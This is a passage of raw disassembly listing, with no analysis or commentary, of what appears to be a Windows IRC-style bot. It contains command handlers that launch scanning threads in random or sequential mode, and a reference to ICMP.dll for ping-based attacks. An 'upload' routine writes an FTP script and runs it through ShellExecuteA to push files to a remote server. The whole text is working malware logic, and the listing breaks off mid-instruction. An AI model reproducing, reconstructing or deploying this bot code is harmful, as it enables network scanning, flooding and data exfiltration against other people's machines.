loc_406F13 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42CF14 jmp loc_404968 ; --------------------------------------------------------------------------- loc_406F0B: ; CODE XREF: sub_401AA1+5478j push 32h call dword_428080 ; Sleep loc_406F13: ; CODE XREF: sub_401AA1+5457j cmp [ebp+var_FF4], ebx jz short loc_406F0B jmp loc_406DEB ; --------------------------------------------------------------------------- loc_406F20: ; CODE XREF: sub_401AA1+537Aj push 1FFh lea eax, [ebp+var_2C0] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BC60 jmp loc_404974 ; --------------------------------------------------------------------------- loc_406F3B: ; CODE XREF: sub_401AA1+4F1Cj ; sub_401AA1+4F33j push [ebp+arg_18] lea eax, [ebp+var_2C0] push edi push [ebp+arg_0] push offset unk_42CEC0 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 push [ebp+arg_0] call sub_41B650 push [ebp+arg_18] mov edi, eax call sub_41B650 push [ebp+arg_20] add edi, eax call sub_41B650 push [ebp+arg_8] add edi, eax call sub_41B650 add eax, [ebp+var_C] push [ebp+arg_1C] lea eax, [eax+edi+7] push eax call sub_41BF70 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41BDE9 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_10], ebx jle short loc_407035 loc_406FBE: ; CODE XREF: sub_401AA1+5541j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418C2F add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_406FE6 cmp eax, ebx jnz short loc_407005 inc [ebp+arg_10] mov eax, [ebp+arg_10] cmp eax, [ebp+arg_14] jl short loc_406FBE jmp short loc_40703E ; --------------------------------------------------------------------------- loc_406FE6: ; CODE XREF: sub_401AA1+5532j push ebx push [ebp+var_4] push offset unk_42CE88 loc_406FEF: ; CODE XREF: sub_401AA1+55A6j push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h jmp loc_4071BA ; --------------------------------------------------------------------------- loc_407005: ; CODE XREF: sub_401AA1+5536j push [ebp+arg_20] lea eax, [ebp+var_2C0] push offset unk_42CE54 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 20h loc_407035: ; CODE XREF: sub_401AA1+551Bj cmp [ebp+arg_20], ebx jnz loc_4071BA loc_40703E: ; CODE XREF: sub_401AA1+5543j push ebx push [ebp+var_4] push offset unk_42CE20 jmp short loc_406FEF ; --------------------------------------------------------------------------- loc_407049: ; CODE XREF: sub_401AA1+4ED7j ; sub_401AA1+4EEEj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BC60 push [ebp+arg_18] call sub_41BDE9 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41BDE9 push [ebp+arg_1C] mov [ebp+var_C7C], eax call sub_41BDE9 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_4070AE push esi call sub_41BDE9 pop ecx mov [ebp+var_C74], eax jmp short loc_4070B4 ; --------------------------------------------------------------------------- loc_4070AE: ; CODE XREF: sub_401AA1+55FCj mov [ebp+var_C74], ebx loc_4070B4: ; CODE XREF: sub_401AA1+560Bj push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BC60 push [ebp+var_C78] mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C7C] push eax lea eax, [ebp+var_2C0] push [ebp+var_C80] push offset unk_42CDD8 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 17h push eax call sub_40B254 add esp, 30h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset sub_4141DC push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_40715B call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42CD9C jmp loc_407EF2 ; --------------------------------------------------------------------------- loc_407153: ; CODE XREF: sub_401AA1+56C0j push 32h call dword_428080 ; Sleep loc_40715B: ; CODE XREF: sub_401AA1+569Fj cmp [ebp+var_C64], ebx jz short loc_407153 jmp loc_407F01 ; --------------------------------------------------------------------------- loc_407168: ; CODE XREF: sub_401AA1+4EA9j ; sub_401AA1+4EC0j push 0Bh call sub_40B496 push [ebp+arg_18] mov [ebp+arg_10], eax call sub_41BDE9 add eax, [ebp+arg_10] pop ecx pop ecx cmp eax, 320h jle loc_407331 push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset dword_42CD38 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 20h loc_4071BA: ; CODE XREF: sub_401AA1+517Ej ; sub_401AA1+555Fj ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F20 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_409567 push 4 push esi call sub_416EA7 pop ecx test eax, eax pop ecx jnz short loc_407205 push esi push offset dword_42CCF0 loc_4071F1: ; CODE XREF: sub_401AA1+78E2j lea eax, [ebp+var_2C0] push eax call sub_41BEF6 add esp, 0Ch jmp loc_403F34 ; --------------------------------------------------------------------------- loc_407205: ; CODE XREF: sub_401AA1+5748j call dword_4280B0 ; GetTickCount push eax call sub_41BF48 pop ecx call sub_41BF52 push 9 cdq pop ecx idiv ecx push edx call sub_41BF52 push 63h cdq pop ecx idiv ecx push edx call sub_41BF52 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41BEF6 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BB32 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F20 push esi push [ebp+arg_1C] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C476 push [ebp+arg_24] call sub_41B6CB lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset dword_42CCB0 push eax call sub_41BEF6 add esp, 2Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset dword_42CCA8 push offset aOpen ; "open" push ebx call dword_4CE274 ; ShellExecuteA push edi push esi test eax, eax jz short loc_4072CF push offset dword_42CC58 jmp short loc_4072D4 ; --------------------------------------------------------------------------- loc_4072CF: ; CODE XREF: sub_401AA1+5825j push offset dword_42CBF8 loc_4072D4: ; CODE XREF: sub_401AA1+582Cj call sub_41BEF6 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4072FD push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h loc_4072FD: ; CODE XREF: sub_401AA1+583Ej lea eax, [ebp+var_2C0] push eax call sub_415F45 jmp short loc_407317 ; --------------------------------------------------------------------------- loc_40730B: ; CODE XREF: sub_401AA1+5889j lea eax, [ebp+var_2E5C] push eax call sub_41C44C loc_407317: ; CODE XREF: sub_401AA1+5868j lea eax, [ebp+var_2E5C] push 4 push eax call sub_416EA7 add esp, 0Ch test eax, eax jnz short loc_40730B jmp loc_401F20 ; --------------------------------------------------------------------------- loc_407331: ; CODE XREF: sub_401AA1+56E3j push edi call sub_41BDE9 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41BDE9 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41BDE9 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40736A push 5 pop eax mov [ebp+var_36C], eax loc_40736A: ; CODE XREF: sub_401AA1+58BEj push 3Ch pop ecx cmp eax, ecx jbe short loc_407377 mov [ebp+var_36C], ecx loc_407377: ; CODE XREF: sub_401AA1+58CEj push [ebp+arg_1C] call sub_41BDE9 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_407397 mov [ebp+var_368], 320h loc_407397: ; CODE XREF: sub_401AA1+58EAj or [ebp+var_354], 0FFFFFFFFh cmp dword_434058, ebx mov [ebp+arg_10], ebx jz short loc_4073ED mov [ebp+arg_24], offset dword_434058 loc_4073B0: ; CODE XREF: sub_401AA1+592Ej mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_4073D3 add [ebp+arg_24], 40h inc [ebp+arg_10] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_4073B0 jmp short loc_4073ED ; --------------------------------------------------------------------------- loc_4073D3: ; CODE XREF: sub_401AA1+5920j mov eax, [ebp+arg_10] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_434058[ecx] mov [ebp+var_370], ecx loc_4073ED: ; CODE XREF: sub_401AA1+5906j ; sub_401AA1+5930j cmp [ebp+var_370], ebx jnz short loc_4073FF push offset dword_42CBA0 jmp loc_406DDD ; --------------------------------------------------------------------------- loc_4073FF: ; CODE XREF: sub_401AA1+5952j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_40743A cmp byte ptr [edi], 23h jz short loc_40743A push edi lea eax, [ebp+var_484] push 10h push eax call sub_41BFF0 push 78h push edi call sub_41C620 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407514 ; --------------------------------------------------------------------------- loc_40743A: ; CODE XREF: sub_401AA1+5967j ; sub_401AA1+596Cj cmp [ebp+var_8FF], bl jnz short loc_40745C cmp [ebp+var_8FE], bl jnz short loc_40745C cmp [ebp+var_8EE], bl jnz short loc_40745C push offset dword_42CB48 jmp loc_406DDD ; --------------------------------------------------------------------------- loc_40745C: ; CODE XREF: sub_401AA1+599Fj ; sub_401AA1+59A7j ... push 10h lea eax, [ebp+var_2D8] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D8], edi push [ebp+arg_4] call dword_4CE2AC ; getsockname mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_484] push eax call sub_41BC60 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40750E xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C4B0 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407502 loc_4074E0: ; CODE XREF: sub_401AA1+5A5Fj cmp eax, ebx jz short loc_407502 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C4B0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4074E0 loc_407502: ; CODE XREF: sub_401AA1+5A3Dj ; sub_401AA1+5A41j mov [ebp+var_344], 1 jmp short loc_407514 ; --------------------------------------------------------------------------- loc_40750E: ; CODE XREF: sub_401AA1+5A17j mov [ebp+var_344], ebx loc_407514: ; CODE XREF: sub_401AA1+5994j ; sub_401AA1+5A6Bj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41BFF0 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407565 loc_407552: ; CODE XREF: sub_401AA1+5AE7j push esi loc_407553: ; CODE XREF: sub_401AA1+5AD1j lea eax, [ebp+var_3F4] push edi push eax call sub_41BFF0 add esp, 0Ch jmp short loc_407590 ; --------------------------------------------------------------------------- loc_407565: ; CODE XREF: sub_401AA1+5AAFj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407574 cmp byte ptr [eax], 23h jnz short loc_407574 push eax jmp short loc_407553 ; --------------------------------------------------------------------------- loc_407574: ; CODE XREF: sub_401AA1+5AC9j ; sub_401AA1+5ACEj mov esi, offset asc_42AAA4 ; "#l" push offset byte_4404C4 push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_407552 mov [ebp+var_3F4], bl loc_407590: ; CODE XREF: sub_401AA1+5AC2j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4075A2 mov eax, offset aSequential ; "Sequential" loc_4075A2: ; CODE XREF: sub_401AA1+5AFAj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C0] push offset dword_42CAA0 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40B254 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset sub_40C485 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_407633 call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42CA48 jmp loc_404968 ; --------------------------------------------------------------------------- loc_40762B: ; CODE XREF: sub_401AA1+5B98j push 32h call dword_428080 ; Sleep loc_407633: ; CODE XREF: sub_401AA1+5B77j cmp [ebp+var_340], ebx jz short loc_40762B jmp loc_406DEB ; --------------------------------------------------------------------------- loc_407640: ; CODE XREF: sub_401AA1+4E7Bj ; sub_401AA1+4E92j push edi call sub_40A7C5 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41BDE9 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41BDE9 push [ebp+arg_1C] mov [ebp+var_4EC], eax call sub_41BDE9 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BC60 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_2C0] push offset dword_42C9C0 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40B254 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset sub_40C931 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_407738 loc_40771F: ; CODE XREF: sub_401AA1+5F55j call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42C958 jmp loc_403DDD ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_401AA1+5C9Dj push 32h call dword_428080 ; Sleep loc_407738: ; CODE XREF: sub_401AA1+5C7Cj cmp [ebp+var_4D0], ebx jz short loc_407730 jmp loc_403DEC ; --------------------------------------------------------------------------- loc_407745: ; CODE XREF: sub_401AA1+4E3Ej ; sub_401AA1+4E55j push edi call sub_41BDE9 imul eax, 234h pop ecx cmp byte_441260[eax], bl jz loc_409567 cmp [ebp+var_C], ebx jz loc_409567 push [ebp+arg_18] call sub_41B650 push edi mov esi, eax call sub_41B650 push [ebp+arg_8] add esi, eax call sub_41B650 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41BF70 mov esi, eax lea eax, [ebp+var_2C0] push esi push offset dword_42C94C push eax call sub_41BEF6 add esp, 20h cmp esi, ebx jz loc_409567 push edi call sub_41BDE9 test eax, eax pop ecx jle loc_409567 push edi call sub_41BDE9 cmp eax, 400h pop ecx jge loc_409567 push ebx lea eax, [ebp+var_2C0] push ebx push eax push [ebp+arg_18] push edi call sub_41BDE9 imul eax, 234h pop ecx push dword_441254[eax] call sub_409743 push edi call sub_41BDE9 imul eax, 234h add esp, 18h cmp byte ptr dword_441048[eax], 73h jnz loc_409567 push esi push edi call sub_41BDE9 imul eax, 234h pop ecx add eax, offset byte_441260 push eax push [ebp+arg_18] push offset dword_42C93C loc_40782D: ; CODE XREF: sub_401AA1+5E86j lea eax, [ebp+var_2C0] push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 jmp loc_40401B ; --------------------------------------------------------------------------- loc_407857: ; CODE XREF: sub_401AA1+4E10j ; sub_401AA1+4E27j push edi call sub_41BDE9 imul eax, 234h pop ecx cmp byte_441260[eax], bl jz loc_409567 cmp [ebp+var_C], ebx jz loc_409567 push [ebp+arg_18] call sub_41B650 push edi mov esi, eax call sub_41B650 push [ebp+arg_8] add esi, eax call sub_41B650 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41BF70 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409567 push edi call sub_41BDE9 test eax, eax pop ecx jle loc_409567 push edi call sub_41BDE9 cmp eax, 400h pop ecx jge loc_409567 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41BDE9 imul eax, 234h pop ecx push dword_441254[eax] call sub_409743 push edi call sub_41BDE9 imul eax, 234h add esp, 18h cmp byte ptr dword_441048[eax], 73h jnz loc_409567 push esi push edi call sub_41BDE9 imul eax, 234h pop ecx add eax, offset byte_441260 push eax push [ebp+arg_18] push offset dword_42C92C jmp loc_40782D ; --------------------------------------------------------------------------- loc_40792C: ; CODE XREF: sub_401AA1+4DE2j ; sub_401AA1+4DF9j push edi call dword_4CE348 ; inet_addr push [ebp+arg_18] mov [ebp+var_680], eax call sub_41BDE9 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41BDE9 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BC60 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_2C0] push offset dword_42C8B8 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40B254 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset sub_40C840 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jz loc_40771F jmp short loc_407A06 ; --------------------------------------------------------------------------- loc_4079FE: ; CODE XREF: sub_401AA1+5F6Bj push 32h call dword_428080 ; Sleep loc_407A06: ; CODE XREF: sub_401AA1+5F5Bj cmp [ebp+var_670], ebx jz short loc_4079FE jmp loc_403DEC ; --------------------------------------------------------------------------- loc_407A13: ; CODE XREF: sub_401AA1+4DB4j ; sub_401AA1+4DCBj push edi call sub_41BDE9 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BC60 push [ebp+arg_0] call sub_41BDE9 push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push 80h push eax mov [ebp+var_123C], esi call sub_41BFF0 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40A8D5 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_42C87C push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 18h push eax call sub_40B254 add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset sub_411057 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_407AFF call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42C838 jmp loc_403DDD ; --------------------------------------------------------------------------- loc_407AF7: ; CODE XREF: sub_401AA1+6064j push 32h call dword_428080 ; Sleep loc_407AFF: ; CODE XREF: sub_401AA1+6043j cmp [ebp+var_111C], ebx jz short loc_407AF7 jmp loc_403DEC ; --------------------------------------------------------------------------- loc_407B0C: ; CODE XREF: sub_401AA1+4D86j ; sub_401AA1+4D9Dj push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BC60 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BC60 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41BDE9 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407B65 push 10h push ebx push eax call sub_41C435 add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407B6B ; --------------------------------------------------------------------------- loc_407B65: ; CODE XREF: sub_401AA1+60AEj mov [ebp+var_266C], ebx loc_407B6B: ; CODE XREF: sub_401AA1+60C2j mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407B82 push esi call sub_41BDE9 pop ecx mov [ebp+var_2670], eax jmp short loc_407B88 ; --------------------------------------------------------------------------- loc_407B82: ; CODE XREF: sub_401AA1+60D0j mov [ebp+var_2670], ebx loc_407B88: ; CODE XREF: sub_401AA1+60DFj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BC60 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_2660], eax mov eax, [ebp+var_8] mov [ebp+var_2664], eax push edi lea eax, [ebp+var_2C0] push offset dword_42C7D0 push eax call sub_41BEF6 push esi lea eax, [ebp+var_2C0] push 1Dh push eax call sub_40B254 add esp, 28h mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset sub_4169AB push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_407C39 call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42C760 jmp loc_407EF2 ; --------------------------------------------------------------------------- loc_407C31: ; CODE XREF: sub_401AA1+619Ej push 32h call dword_428080 ; Sleep loc_407C39: ; CODE XREF: sub_401AA1+617Dj cmp [ebp+var_265C], ebx jz short loc_407C31 jmp loc_407F01 ; --------------------------------------------------------------------------- loc_407C46: ; CODE XREF: sub_401AA1+4D58j ; sub_401AA1+4D6Fj push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BC60 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BC60 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BC60 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BC60 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_3290], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_328C], eax lea eax, [ebp+var_2C0] push edi push offset unk_42C720 push eax mov [ebp+var_3498], esi call sub_41BEF6 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 12h push eax call sub_40B254 add esp, 0Ch mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset sub_415846 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_407D20 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42C6E8 jmp loc_407EF2 ; --------------------------------------------------------------------------- loc_407D18: ; CODE XREF: sub_401AA1+6285j push 32h call dword_428080 ; Sleep loc_407D20: ; CODE XREF: sub_401AA1+6264j cmp [ebp+var_3288], ebx jz short loc_407D18 jmp loc_407F01 ; --------------------------------------------------------------------------- loc_407D2D: ; CODE XREF: sub_401AA1+4C2Cj ; sub_401AA1+4C43j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BC60 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BC60 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BC60 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BC60 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C0] push edi push offset unk_42C6B8 push eax mov [ebp+var_3070], esi call sub_41BEF6 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 0Eh push eax call sub_40B254 add esp, 0Ch mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset sub_41458C push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_407E07 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42C680 jmp loc_407EF2 ; --------------------------------------------------------------------------- loc_407DFF: ; CODE XREF: sub_401AA1+636Cj push 32h call dword_428080 ; Sleep loc_407E07: ; CODE XREF: sub_401AA1+634Bj cmp [ebp+var_2E60], ebx jz short loc_407DFF jmp loc_407F01 ; --------------------------------------------------------------------------- loc_407E14: ; CODE XREF: sub_401AA1+4B04j ; sub_401AA1+4B1Bj ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BC60 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BC60 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BC60 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BC60 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BC60 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C0] push edi push offset unk_42C650 push eax mov [ebp+var_3CF0], esi call sub_41BEF6 add esp, 50h lea eax, [ebp+var_2C0] push ebx push 0Dh push eax call sub_40B254 add esp, 0Ch mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset sub_413821 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_407F1B call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42C618 loc_407EF2: ; CODE XREF: sub_401AA1+4D2Dj ; sub_401AA1+56ADj ... lea eax, [ebp+var_2C0] push eax call sub_41BEF6 add esp, 0Ch loc_407F01: ; CODE XREF: sub_401AA1+4D42j ; sub_401AA1+56C2j ... cmp [ebp+var_8], ebx jnz loc_402399 push ebx push [ebp+var_4] jmp loc_403DF7 ; --------------------------------------------------------------------------- loc_407F13: ; CODE XREF: sub_401AA1+6480j push 32h call dword_428080 ; Sleep loc_407F1B: ; CODE XREF: sub_401AA1+6443j cmp [ebp+var_3A60], ebx jz short loc_407F13 jmp short loc_407F01 ; --------------------------------------------------------------------------- loc_407F25: ; CODE XREF: sub_401AA1+4AD6j ; sub_401AA1+4AEDj push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BC60 push [ebp+arg_18] call sub_41BDE9 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BC60 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407F70 push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BC60 add esp, 0Ch loc_407F70: ; CODE XREF: sub_401AA1+64BBj lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C0] push offset dword_42C5E8 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 1Fh push eax call sub_40B254 add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017BF push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_407FFF call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42C5AC jmp loc_406BB4 ; --------------------------------------------------------------------------- loc_407FF7: ; CODE XREF: sub_401AA1+6564j push 32h call dword_428080 ; Sleep loc_407FFF: ; CODE XREF: sub_401AA1+6543j cmp [ebp+var_1620], ebx jz short loc_407FF7 jmp loc_406BC3 ; --------------------------------------------------------------------------- loc_40800C: ; CODE XREF: sub_401AA1+4A96j ; sub_401AA1+4AADj push [ebp+arg_18] call sub_41BDE9 cmp eax, ebx pop ecx mov 